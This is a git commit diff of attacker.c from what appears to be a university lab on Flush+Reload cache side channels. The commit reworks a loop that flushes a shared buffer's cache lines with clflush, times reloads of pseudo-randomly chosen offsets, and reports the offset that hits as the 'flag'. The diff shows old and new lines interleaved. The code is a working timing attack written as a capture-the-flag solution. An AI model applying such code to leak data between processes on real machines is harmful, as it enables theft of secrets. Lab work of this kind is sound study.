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part2 ver 0.7.0 avoid frequent access

This commit is contained in:
ClF3 2024-11-05 10:12:27 +08:00
parent fb2a2ba698
commit b27c59b282
1 changed files with 23 additions and 20 deletions
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43
Part2-FlushReload/attacker.c
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@ -25,30 +25,33 @@ int main() {
char *buf = allocate_shared_buffer(); char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here // [2.1] TODO: Put your capture-the-flag code here
for(int i = 0; i < 1024; i++) { for (int j = 0; j < 1024; j++) {
clflush((ADDR_PTR)buf + i * 128); for(int i = 0; i < 1024; i++) {
} clflush((ADDR_PTR)buf + i * 128);
for(int i = 0; i < WAIT_TIME; i++);
for(int i = 0; i < 10000; i++) {
new_offset = (AVAR * offset + CVAR) % 1024;
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
offset = (AVAR1 * offset + CVAR1) % 1024;
} }
else { for(int i = 0; i < WAIT_TIME; i++);
offset = new_offset; for(int i = 0; i < 64; i++) {
} new_offset = (AVAR * offset + CVAR) % 1024;
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
if(time < CACHE_HIT_THRESHOLD) { offset = (AVAR1 * offset + CVAR1) % 1024;
clflush((ADDR_PTR)buf + offset * 128); }
for(int i = 0; i < WAIT_TIME; i++); else {
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); offset = new_offset;
if(new_time < CACHE_HIT_THRESHOLD) { }
flag = offset; time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
index = i; if(time < CACHE_HIT_THRESHOLD) {
break; // clflush((ADDR_PTR)buf + offset * 128);
for(int i = 0; i < WAIT_TIME; i++);
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(new_time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
}
} }
} }
} }
printf("Flag: %d\n", flag); printf("Flag: %d\n", flag);
printf("Time: %d\n", time); printf("Time: %d\n", time);
printf("Index: %d\n", index); printf("Index: %d\n", index);